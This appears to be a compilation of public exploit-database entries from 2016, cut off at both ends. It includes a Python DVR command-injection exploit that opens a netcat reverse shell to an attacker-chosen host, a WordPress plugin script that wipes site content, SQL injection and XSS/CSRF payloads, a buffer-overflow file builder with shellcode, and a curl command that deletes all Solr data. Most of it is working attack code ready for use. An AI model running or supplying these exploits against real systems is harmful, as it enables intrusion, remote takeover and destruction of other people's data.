Provision-ISR
Q-See
Questek
Retail Solution Inc
RIT Huston .com
ROD Security cameras
Satvision
Sav Technology
Skilleye
Smarteye
Superior Electrial Systems
TechShell
TechSon
Technomate
TecVoz
TeleEye
Tomura
truVue
TVT
Umbrella
United Video Security System, Inc
Universal IT Solutions
US IT Express
U-Spy Store
Ventetian
V-Gurad Security
Vid8
Vtek
Vision Line
Visar
Vodotech.com
Vook
Watchman
Xrplus
Yansi
Zetec
ZoomX
'''
from sys import argv
import optparse
from urlparse import urlparse
from re import compile
import socket
import requests
from requests.exceptions import ConnectionError, Timeout, ContentDecodingError
from socket import timeout
def main():
# parse command line options and atguments
optparser = optparse.OptionParser(usage="%s <target-url> [options]" % argv[0])
optparser.add_option('-c','--check',action="store_true",dest="checkvuln", default=False,
help="Check if target is vulnerable")
optparser.add_option('-e','--exploit', action="store", type="string", dest="connback",
help="Fire the exploit against the given target URL")
(options, args) = optparser.parse_args()
try:
target = args[0]
except IndexError:
optparser.print_help()
exit()
target_url = urlparse(target)
# validating hostname
if not target_url.hostname:
print "[X] supplied target \"%s\" is not a valid URL" % target
optparser.print_help()
exit()
# A little hack to handle read timeouts, since urllib2 doesnt give us this functionality.
socket.setdefaulttimeout(10)
# is -c flag on check if target url is vulnrable.
if options.checkvuln is True:
print "[!] Checking if target \"%s\" is vulnable..." % target_url.netloc
try:
# Write file
raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}1>test&&tar${IFS}/string.js'
% (target_url.scheme, target_url.netloc))
# Read the file.
response = raw_url_request('%s://%s/../../../../../../../mnt/mtd/test' % (target_url.scheme, target_url.netloc))
# remove it..
raw_url_request('%s://%s//language/Swedish${IFS}&&rm${IFS}test&&tar${IFS}/string.js'
% (target_url.scheme, target_url.netloc))
except (ConnectionError, Timeout, timeout) as e:
print "[X] Unable to connect. reason: %s. exiting..." % e.message
return
if response.text[0] != '1':
print "[X] Expected response content first char to be '1' got %s. exiting..." % response.text
return
print "[V] Target \"%s\" is vulnerable!" % target_url.netloc
# if -e is on then fire exploit,
if options.connback is not None:
# Validate connect-back information.
pattern = compile('(?P<host>[a-zA-Z0-9\.\-]+):(?P<port>[0-9]+)')
match = pattern.search(options.connback)
if not match:
print "[X] given connect back \"%s\" should be in the format for host:port" % options.connback
optparser.print_help()
exit()
# fire remote code execution!
# Three ..
try:
raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}nc${IFS}%s${IFS}%s${IFS}>e&&${IFS}/a'
% (target_url.scheme, target_url.netloc, match.group('host'), match.group('port')))
# Two ...
raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}"-e${IFS}$SHELL${IFS}">>e&&${IFS}/a'
% (target_url.scheme, target_url.netloc))
# One. Left off!
raw_url_request('%s://%s/language/Swedish&&$(cat${IFS}e)${IFS}&>r&&${IFS}/s'
% (target_url.scheme, target_url.netloc))
except (ConnectionError, Timeout, timeout) as e:
print "[X] Unable to connect reason: %s. exiting..." % e.message
print "[V] Exploit payload sent!, if nothing went wrong we should be getting a reversed remote shell at %s:%s" \
% (match.group('host'), match.group('port'))
# Disabling URL encode hack
def raw_url_request(url):
r = requests.Request('GET')
r.url = url
r = r.prepare()
# set url without encoding
r.url = url
s = requests.Session()
return s.send(r)
if __name__ == '__main__':
main()
================
Exploit Title: SQL Injection Vulnerability in MiCollab v7.0
Date: 3-22-2016
Vendor Homepage: http://www.mitel.com
Vendor: Mitel
Software: MiCollab End User Portal
Version: v7.0
Advisory: http://www.mitel.com/security-advisories/mitel-product-security-advisory-16-0001
CVSS: 7.5
Product Summary
================
Mitel MiCollab delivers unified messaging, mobility, teleworking, and audio, web and video conferencing services tailored to the needs of today's mobile workforce. (http://www.mitel.com/products/collaboration-software/mitel-micollab)
Vulnerabilities
================
A SQL injection vulnerability has been identified in MiCollab 7.0 which, if successfully exploited, could allow an attacker to access sensitive information in the MiCollab database. (http://www.mitel.com/security-advisories/mitel-product-security-advisory-16-0001)
The vulnerability is due to the unsanitized 'language' parameter in the 'mywindow' and 'PortletSelector' scripts.
Proof of concept
================
http://server/portal/portal/portal/portal/mywindow?portlets=&page=org.apache.jetspeed.om.page.impl.ContentPageImpl%40d57dde06&language=en_US';SELECT%20pg_sleep(5);--
http://server/portal/portal/portal/PortletSelector?portlets=&page=org.apache.jetspeed.om.page.impl.ContentPageImpl%40d57dde06&language=en_US';SELECT%20pg_sleep(5);--
Timeline
================
2016-02-01: Vendor advisory published
2016-03-22: PoC details published
Discovered by
================
Goran Tuzovic -- Goran [at] illumant.com
References
================
1. http://www.mitel.com/products/collaboration-software/mitel-micollab
2. http://www.mitel.com/security-advisories/mitel-product-security-advisory-16-0001
About Illumant
================
Illumant has conducted thousands of security assessment and compliance engagements, helping over 800 clients protect themselves from cyber-attacks. Through meticulous manual analysis, Illumant helps companies navigate the security and threat landscape to become more secure, less of a target, and more compliant. For more information, visit https://illumant.com/
'''
* Exploit Title: WordPress WooCommerce - Store Toolkit Plugin [Privilege Escalation]
* Discovery Date: 2016-02-06
* Public Disclosure Date: 2016-02-08
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://www.visser.com.au/
* Software Link: https://wordpress.org/plugins/woocommerce-store-toolkit/
* Version: 1.5.5
* Tested on: WordPress 4.4.2
* Category: webapps
Description
-----------
The plugin "WooCommerce - Store Toolkit" for WordPress suffers from a privilege escalation vulnerability.
An attacker must have a valid user account which is possible simply by registering to the infected website. This is possible because this plugin must be installed in a website with WooCommerce plugin to be any of use. Since WooCommerce is an e-store plugin allows user registration by default, so we assume that all websites that have the "WooCommerce - Store Toolkit" plugin are also open to user registration.
As long as an attacker have an active account at the infected website he can perform the attack at ease because no action validation is taking place from the "WooCommerce - Store Toolkit" plugin. The "WooCommerce - Store Toolkit" plugin is designed to perform a set of actions like:
- Permanently delete all posts, post categories and post tags
- Permanently delete all media (attachments)
- Permanently delete all products, product categories, product tags and attributes
- Permanently delete all orders
- Permanently delete all comments
All these actions they normally require administrative wrights. But in this case any registered user can perform these actions, even with the most limited wrights, therefor this issue is considered as an Privilege Escalation vulnerability.
PoC
---
The following script will nuke nearly all site content from `example.com` using the account with username:`username` and password:`password`. This has to be an already registered account for this to work.
'''
#!/usr/bin/python3
################################################################################
# WooCommerce - Store Toolkit Privilege Escalation Exploit
#
# **IMPORTANT** Don't use this in a production site, if vulnerable it will
# delete nearly all your site content
#
# Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
################################################################################
import requests
loginUrl = 'http://example.com/wp-login.php'
adminUrl = 'http://example.com/wp-admin/index.php'
loginPostData = {
'log': 'username',
'pwd': 'password',
'rememberme': 'forever',
'wp-submit': 'Log+In'
}
l = requests.post(loginUrl, data=loginPostData)
if len(l.history) > 1:
loggedInCookies = l.history[0].cookies
else:
loggedInCookies = l.cookies
if len(loggedInCookies) == 0:
print("Couldn't acquire a valid session")
exit(1)
actions = [
'woo_st_products',
'woo_st_categories',
'woo_st_product_categories',
'woo_st_product_tags',
'woo_st_product_brands',
'woo_st_product_vendors',
'woo_st_product_images',
'woo_st_coupons',
'woo_st_attributes',
'woo_st_sales_orders',
'woo_st_tax_rates',
'woo_st_download_permissions',
'woo_st_creditcards',
'woo_st_google_product_feed',
'woo_st_posts',
'woo_st_post_categories',
'woo_st_post_tags',
'woo_st_links',
'woo_st_comments',
'woo_st_media_images'
]
for action in actions:
print('Trying action '+action)
a = requests.post(adminUrl, data={'action': 'nuke', action:1}, cookies=loggedInCookies, timeout=30)
if a.status_code == 200:
print('Nuked with action '+action)
else:
print('Something went wrong with action '+action)
exit(0)
'''
Solution
--------
Upgrade to v1.5.7
Timeline
--------
1. 2016-02-07: Vendor notified through WordPress support forums
2. 2016-02-07: Vendor notified through his homepage support
3. 2016-02-07: Requested CVE ID
4. 2016-02-07: Vendor responded
5. 2016-02-07: Send issue details to vendor
6. 2016-02-08: Vendor released version 1.5.7 which resolves this issue
'''
=========================================================================================
Cross-Site Request Forgery Vulnerability in ManageEngine Network Configuration Management
=========================================================================================
.. contents:: Table Of Content
Overview
========
Title:- Cross-Site Request Forgery (CSRF) Vulnerability in ManageEngine Network Configuration Management
Author: Kaustubh G. Padwad
Vendor: ZOHO Corp
Product: ManageEngine Network Configuration Manager
Tested Version: : Network Configuration Manager Build 11000
Severity: HIGH
Advisory ID
============
2016-02-Manage_Engine
About the Product:
==================
Network Configuration Manager is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, Network Configuration Manager helps automate and take total control of the entire life cycle of device configuration management.
Description:
============
This Cross-Site Request Forgery vulnerability enables an anonymous attacker to add an device into the application. and device fileds are vulnerable tocross site scripting attack This leads to compromising the whole domain as the application.
Vulnerability Class:
====================
Cross-Site Request Forgery (CSRF) - https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
How to Reproduce: (POC):
========================
* Add follwing code to webserver and send that malicious link to application Admin.
* No Login Required as this is on logon Page
( Soical enginering might help here
* For Example :- Device password has been changed click here to reset
CSRF COde
=========
<html>
<body>
<form action="http://192.168.1.10:8080/netflow/jspui/j_security_check">
<input type="hidden" name="radiusUserEnabled" value="false" />
<input type="hidden" name="AUTHRULE_NAME" value="Authenticator" />
<input type="hidden" name="j_username" value="admin52f43'><script>alert(1)</script>6f472a19875" />
<input type="hidden" name="j_password" value="admin" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Mitigation
==========
1. Download the security.xml from here https://drive.google.com/file/d/0B6Vlr2bSsrysR3N1cE82NUNJV28/view?usp=sharing
2. Stop the NCM service.
3. Replace the attached security.xml under NCM_Home/webapps/netflow/WEB-INF.
4. Start the NCM service and test for the Vulnerability
Disclosure:
===========
28-JAN-2016 Repoerted to vendor
29-JAN-2016 Fixed By Vendor
#credits:
Kaustubh Padwad
Information Security Researcher
kingkaustubh@me.com
https://twitter.com/s3curityb3ast
http://breakthesec.com
https://www.linkedin.com/in/kaustubhpadwad
#!/usr/bin/perl
# Exploit Title: Toshiba viewer v2 p3console Local Denial of Service
# Date: 02-02-2016
# Author: JaMbA
# Download: http://business.toshiba.com/downloads/KB/f1Ulds/9942/viewer2-cj242-v106.zip
# Version: 2
# Tested on: Windows 7
my $file= "Crash.fax";
my $junk= "\x41" x 2048;
open($FILE,">$file");
print $FILE $junk;
print "\nCrash.fax File Created successfully\n";
print "\ Oumaima & Tarta (Ahmadso best friend)\n";
close($FILE);
Source: https://code.google.com/p/google-security-research/issues/detail?id=613
The following crash was encountered in pdfium (the Chrome PDF renderer) during PDF fuzzing:
--- cut ---
$ ./pdfium_test asan_heap-uaf_9d42b5_2729_a5aed985095e827c725b94e7b6a4d4ed
Rendering PDF file asan_heap-uaf_9d42b5_2729_a5aed985095e827c725b94e7b6a4d4ed.
Non-linearized path...
=================================================================
==22386==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000001160 at pc 0x000000b604dc bp 0x7ffd824f3c70 sp 0x7ffd824f3c68
READ of size 8 at 0x606000001160 thread T0
#0 0xb604db in opj_t2_read_packet_header third_party/libopenjpeg20/t2.c:874:54
#1 0xb5edd9 in opj_t2_decode_packet third_party/libopenjpeg20/t2.c:536:15
#2 0xb5e06c in opj_t2_decode_packets third_party/libopenjpeg20/t2.c:422:39
#3 0xb1b309 in opj_tcd_t2_decode third_party/libopenjpeg20/tcd.c:1555:15
#4 0xb1adc1 in opj_tcd_decode_tile third_party/libopenjpeg20/tcd.c:1294:15
#5 0xa5ef5f in opj_j2k_decode_tile third_party/libopenjpeg20/j2k.c:8065:15
#6 0xa9d214 in opj_j2k_decode_tiles third_party/libopenjpeg20/j2k.c:9596:23
#7 0xa51e2c in opj_j2k_exec third_party/libopenjpeg20/j2k.c:7286:41
#8 0xa6b690 in opj_j2k_decode third_party/libopenjpeg20/j2k.c:9796:15
#9 0xaba6ed in opj_jp2_decode third_party/libopenjpeg20/jp2.c:1483:8
#10 0xa39d8d in opj_decode third_party/libopenjpeg20/openjpeg.c:412:10
#11 0x786a19 in CJPX_Decoder::Init(unsigned char const*, unsigned int) core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:742:11
#12 0x78b63c in CCodec_JpxModule::CreateDecoder(unsigned char const*, unsigned int, bool) core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:866:10
#13 0xec1c9b in CPDF_DIBSource::LoadJpxBitmap() core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:689:24
#14 0xeb8296 in CPDF_DIBSource::CreateDecoder() core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:645:5
#15 0xeb0cf9 in CPDF_DIBSource::StartLoadDIBSource(CPDF_Document*, CPDF_Stream const*, int, CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:365:13
#16 0xe8a295 in CPDF_ImageCache::StartGetCachedBitmap(CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:308:7
#17 0xe89a99 in CPDF_PageRenderCache::StartGetCachedBitmap(CPDF_Stream*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:143:13
#18 0xed4f7e in CPDF_ProgressiveImageLoaderHandle::Start(CPDF_ImageLoader*, CPDF_ImageObject const*, CPDF_PageRenderCache*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1561:11
#19 0xed6aaf in CPDF_ImageLoader::StartLoadImage(CPDF_ImageObject const*, CPDF_PageRenderCache*, void*&, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1639:17
#20 0xe96f16 in CPDF_ImageRenderer::StartLoadDIBSource() core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:337:7
#21 0xe8db49 in CPDF_ImageRenderer::Start(CPDF_RenderStatus*, CPDF_PageObject const*, CFX_Matrix const*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:484:7
#22 0xe67c11 in CPDF_RenderStatus::ContinueSingleObject(CPDF_PageObject const*, CFX_Matrix const*, IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:320:10
#23 0xe76f12 in CPDF_ProgressiveRenderer::Continue(IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1152:13
#24 0xe756c1 in CPDF_ProgressiveRenderer::Start(IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1090:3
#25 0x63dbd7 in FPDF_RenderPage_Retail(CRenderContext*, void*, int, int, int, int, int, int, int, IFSDK_PAUSE_Adapter*) fpdfsdk/src/fpdfview.cpp:752:3
#26 0x63c3af in FPDF_RenderPageBitmap fpdfsdk/src/fpdfview.cpp:507:3
#27 0x4ee0df in RenderPage(std::string const&, void* const&, void* const&, int, Options const&) samples/pdfium_test.cc:374:3
#28 0x4f0af8 in RenderPdf(std::string const&, char const*, unsigned long, Options const&) samples/pdfium_test.cc:531:9
#29 0x4f16e9 in main samples/pdfium_test.cc:608:5
0x606000001160 is located 0 bytes inside of 49-byte region [0x606000001160,0x606000001191)
freed by thread T0 here:
#0 0x4beb80 in realloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:61
#1 0xa5bba5 in opj_j2k_read_sod third_party/libopenjpeg20/j2k.c:4359:61
#2 0xa5784a in opj_j2k_read_tile_header third_party/libopenjpeg20/j2k.c:7932:31
#3 0xa9cc56 in opj_j2k_decode_tiles third_party/libopenjpeg20/j2k.c:9568:23
#4 0xa51e2c in opj_j2k_exec third_party/libopenjpeg20/j2k.c:7286:41
#5 0xa6b690 in opj_j2k_decode third_party/libopenjpeg20/j2k.c:9796:15
#6 0xaba6ed in opj_jp2_decode third_party/libopenjpeg20/jp2.c:1483:8
#7 0xa39d8d in opj_decode third_party/libopenjpeg20/openjpeg.c:412:10
#8 0x786a19 in CJPX_Decoder::Init(unsigned char const*, unsigned int) core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:742:11
#9 0x78b63c in CCodec_JpxModule::CreateDecoder(unsigned char const*, unsigned int, bool) core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:866:10
#10 0xec1c9b in CPDF_DIBSource::LoadJpxBitmap() core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:689:24
#11 0xeb8296 in CPDF_DIBSource::CreateDecoder() core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:645:5
#12 0xeb0cf9 in CPDF_DIBSource::StartLoadDIBSource(CPDF_Document*, CPDF_Stream const*, int, CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:365:13
#13 0xe8a295 in CPDF_ImageCache::StartGetCachedBitmap(CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:308:7
#14 0xe89a99 in CPDF_PageRenderCache::StartGetCachedBitmap(CPDF_Stream*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:143:13
#15 0xed4f7e in CPDF_ProgressiveImageLoaderHandle::Start(CPDF_ImageLoader*, CPDF_ImageObject const*, CPDF_PageRenderCache*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1561:11
#16 0xed6aaf in CPDF_ImageLoader::StartLoadImage(CPDF_ImageObject const*, CPDF_PageRenderCache*, void*&, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1639:17
#17 0xe96f16 in CPDF_ImageRenderer::StartLoadDIBSource() core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:337:7
#18 0xe8db49 in CPDF_ImageRenderer::Start(CPDF_RenderStatus*, CPDF_PageObject const*, CFX_Matrix const*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:484:7
#19 0xe67c11 in CPDF_RenderStatus::ContinueSingleObject(CPDF_PageObject const*, CFX_Matrix const*, IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:320:10
#20 0xe76f12 in CPDF_ProgressiveRenderer::Continue(IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1152:13
#21 0xe756c1 in CPDF_ProgressiveRenderer::Start(IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1090:3
#22 0x63dbd7 in FPDF_RenderPage_Retail(CRenderContext*, void*, int, int, int, int, int, int, int, IFSDK_PAUSE_Adapter*) fpdfsdk/src/fpdfview.cpp:752:3
#23 0x63c3af in FPDF_RenderPageBitmap fpdfsdk/src/fpdfview.cpp:507:3
#24 0x4ee0df in RenderPage(std::string const&, void* const&, void* const&, int, Options const&) samples/pdfium_test.cc:374:3
#25 0x4f0af8 in RenderPdf(std::string const&, char const*, unsigned long, Options const&) samples/pdfium_test.cc:531:9
#26 0x4f16e9 in main samples/pdfium_test.cc:608:5
#27 0x7f3425bc7ec4 in __libc_start_main /build/buildd/eglibc-2.19/csu/libc-start.c:287
previously allocated by thread T0 here:
#0 0x4beb80 in realloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:61
#1 0xa5bba5 in opj_j2k_read_sod third_party/libopenjpeg20/j2k.c:4359:61
#2 0xa5784a in opj_j2k_read_tile_header third_party/libopenjpeg20/j2k.c:7932:31
#3 0xa9cc56 in opj_j2k_decode_tiles third_party/libopenjpeg20/j2k.c:9568:23
#4 0xa51e2c in opj_j2k_exec third_party/libopenjpeg20/j2k.c:7286:41
#5 0xa6b690 in opj_j2k_decode third_party/libopenjpeg20/j2k.c:9796:15
#6 0xaba6ed in opj_jp2_decode third_party/libopenjpeg20/jp2.c:1483:8
#7 0xa39d8d in opj_decode third_party/libopenjpeg20/openjpeg.c:412:10
#8 0x786a19 in CJPX_Decoder::Init(unsigned char const*, unsigned int) core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:742:11
#9 0x78b63c in CCodec_JpxModule::CreateDecoder(unsigned char const*, unsigned int, bool) core/src/fxcodec/codec/fx_codec_jpx_opj.cpp:866:10
#10 0xec1c9b in CPDF_DIBSource::LoadJpxBitmap() core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:689:24
#11 0xeb8296 in CPDF_DIBSource::CreateDecoder() core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:645:5
#12 0xeb0cf9 in CPDF_DIBSource::StartLoadDIBSource(CPDF_Document*, CPDF_Stream const*, int, CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:365:13
#13 0xe8a295 in CPDF_ImageCache::StartGetCachedBitmap(CPDF_Dictionary*, CPDF_Dictionary*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:308:7
#14 0xe89a99 in CPDF_PageRenderCache::StartGetCachedBitmap(CPDF_Stream*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_cache.cpp:143:13
#15 0xed4f7e in CPDF_ProgressiveImageLoaderHandle::Start(CPDF_ImageLoader*, CPDF_ImageObject const*, CPDF_PageRenderCache*, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1561:11
#16 0xed6aaf in CPDF_ImageLoader::StartLoadImage(CPDF_ImageObject const*, CPDF_PageRenderCache*, void*&, int, unsigned int, int, CPDF_RenderStatus*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_loadimage.cpp:1639:17
#17 0xe96f16 in CPDF_ImageRenderer::StartLoadDIBSource() core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:337:7
#18 0xe8db49 in CPDF_ImageRenderer::Start(CPDF_RenderStatus*, CPDF_PageObject const*, CFX_Matrix const*, int, int) core/src/fpdfapi/fpdf_render/fpdf_render_image.cpp:484:7
#19 0xe67c11 in CPDF_RenderStatus::ContinueSingleObject(CPDF_PageObject const*, CFX_Matrix const*, IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:320:10
#20 0xe76f12 in CPDF_ProgressiveRenderer::Continue(IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1152:13
#21 0xe756c1 in CPDF_ProgressiveRenderer::Start(IFX_Pause*) core/src/fpdfapi/fpdf_render/fpdf_render.cpp:1090:3
#22 0x63dbd7 in FPDF_RenderPage_Retail(CRenderContext*, void*, int, int, int, int, int, int, int, IFSDK_PAUSE_Adapter*) fpdfsdk/src/fpdfview.cpp:752:3
#23 0x63c3af in FPDF_RenderPageBitmap fpdfsdk/src/fpdfview.cpp:507:3
#24 0x4ee0df in RenderPage(std::string const&, void* const&, void* const&, int, Options const&) samples/pdfium_test.cc:374:3
#25 0x4f0af8 in RenderPdf(std::string const&, char const*, unsigned long, Options const&) samples/pdfium_test.cc:531:9
#26 0x4f16e9 in main samples/pdfium_test.cc:608:5
#27 0x7f3425bc7ec4 in __libc_start_main /build/buildd/eglibc-2.19/csu/libc-start.c:287
SUMMARY: AddressSanitizer: heap-use-after-free third_party/libopenjpeg20/t2.c:874:54 in opj_t2_read_packet_header
Shadow bytes around the buggy address:
0x0c0c7fff81d0: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa
0x0c0c7fff81e0: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa
0x0c0c7fff81f0: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
0x0c0c7fff8200: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 fa
0x0c0c7fff8210: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
=>0x0c0c7fff8220: 00 00 00 00 00 00 00 fa fa fa fa fa[fd]fd fd fd
0x0c0c7fff8230: fd fd fd fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c0c7fff8240: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
0x0c0c7fff8250: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
0x0c0c7fff8260: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
0x0c0c7fff8270: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==22386==ABORTING
--- cut ---
The crash was reported at https://code.google.com/p/chromium/issues/detail?id=551470. Attached is the PDF file which triggers the crash.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39401.zip
#[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]
#[+] Exploit Title: FTPShell Client (Add New Folder) Local Buffer Overflow
#[+] Date: 2/2/2016
#[+]Exploit Author: Arash Khazaei
#[+] Vendor Homepage: www.ftpshell.com
#[+]Software Link: http://www.ftpshell.com/download.htm
#[+] Version: 5.24
#[+] Tested on: Windows XP Professional SP3 (Version 2002)
#[+] CVE : N/A
#[+] introduction : Add New Folder In Remote FTP Server And In Name Input Copy Buffer.txt File content
#[+] or click on Remote Tab Then Click On Create Folder And Copy Buffer.txt In Name Input ...
#[+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]
#!/usr/bin/python
filename = "buffer.txt"
# Junk A
junk = "A"*452
#77FAB277 JMP ESP
# Windows Xp Professional Version 2002 Service Pack 3
eip = "\x77\xB2\xFA\x77"
# Nops
nops = "\x90"*100
# Shellcode Calc.exe 16Byte
buf=("\x31\xC9"
"\x51"
"\x68\x63\x61\x6C\x63"
"\x54"
"\xB8\xC7\x93\xC2\x77"
"\xFF\xD0")
#Appending Buffers Together
exploit = junk + eip + nops + buf
#Creating File
length = len(exploit)
print "[+]File name: [%s]\n" % filename
print "[+]Payload Size: [%s]\n " % length
print "[+]File Created.\n"
file = open(filename,"w")
file.write(exploit)
file.close
print exploit
#[+] Very Special Tnx To My Best Friends: TheNonexistent,Nirex,Pr0t3ctor
# Exploit Title: All Solr Data Can Be Delete
# Google Dork: intext:[Schema] [Config] [Analysis] [Schema Browser]
[Statistics] [Info] [Distribution] [Ping] [Logging]
# Date: 5/2/2016
# Exploit Author: N37 [Myanmar]
# Vendor Homepage: http://lucene.apache.org/solr/
# Software Link: https://archive.apache.org/dist/lucene/solr/3.5.0/
# Version: 3.5.0
# Tested on: fedora 23
Solr is open source enterprise search platform built on Apache Lucene.
It can be delete all data in solr. solr are use nlp, money of data research, data mining, some of mobile backend on vps .
POC or Eg.
This Query is shwo all data in solr :
http://server:8080/solr/lambeth_planning/select/?q=*%3A*&version=2.2&start=0&rows=10&indent=on
You can delete all data with curl in terminal :
curl -X GET "server:8080/solr/lambeth_locations/update?stream.body=<delete><query>*:*<%2Fquery><%2Fdelete>&commit=true"
now you can check with first query in browser. All data are deleted.
Regards,
N37 [Myanmar]
[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/DOT-DEFENDER-CSRF.txt
Vendor:
==================
www.applicure.com
Product:
=====================
dotDefender Firewall
Versions: 5.00.12865 / 5.13-13282
dotDefender is a Web application firewall (WAF) for preventing hacking
attacks like XSS, SQL Injections, CSRF etc...
that provides Apache and IIS Server Security across Dedicated, VPS and
Cloud environments. It meets PCI Compliance and also
provides E-Commerce Security, IIS and Apache Security, Cloud Security and
more.
Vulnerability Type:
=================================
Cross Site Request Forgery - CSRF
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
Dotdefender firewall (WAF) is vulnerable to cross site request forgery,
this allows attackers to make HTTP requests via the victims browser to
the dotdefender management server on behalf of the victim if the victim is
logged in and visits a malicious web page or clicks an infected link.
Result can be modifying or disabling various firewall patterns,
User-Defined Rule settings and global event logging etc...
HTTP requests sent to Dotdefender to enable or disable user-Defined rule
settings are base64 encoded using SOAP protocol.
Sending the below base64 value for example disables a Dotdefender firewall
setting.
PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>
Tested successfully on Windows & Linux:
dotDefender Version: 5.00.12865
Web Server Type: Microsoft-IIS
Server Operating System: Windows
Web Server Version: 7.5
Firefox web browser
dotDefender Version: 5.13-13282
Web Server Type: Apache
Server Operating System: Linux
Exploit code(s):
===============
Example to send requests to disable firewall rule settings that defends
against SQL injection.
We need to send two requests first to modify the desired settings and
second to commit our changes.
HTTP request 0x01 - send following soap request to disable SQL Injection
request firewall rule
~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~
<IFRAME style="display:none" name="demonica"></IFRAME>
<form target="demonica" id="SACRIFICIAL" action="
http://localhost/dotDefender/dotDefenderWS.exe" ENCTYPE="text/plain"
method="post" onsubmit="TORMENT()">
<input type="hidden" name='<soapenv:Envelope xmlns:xsi="
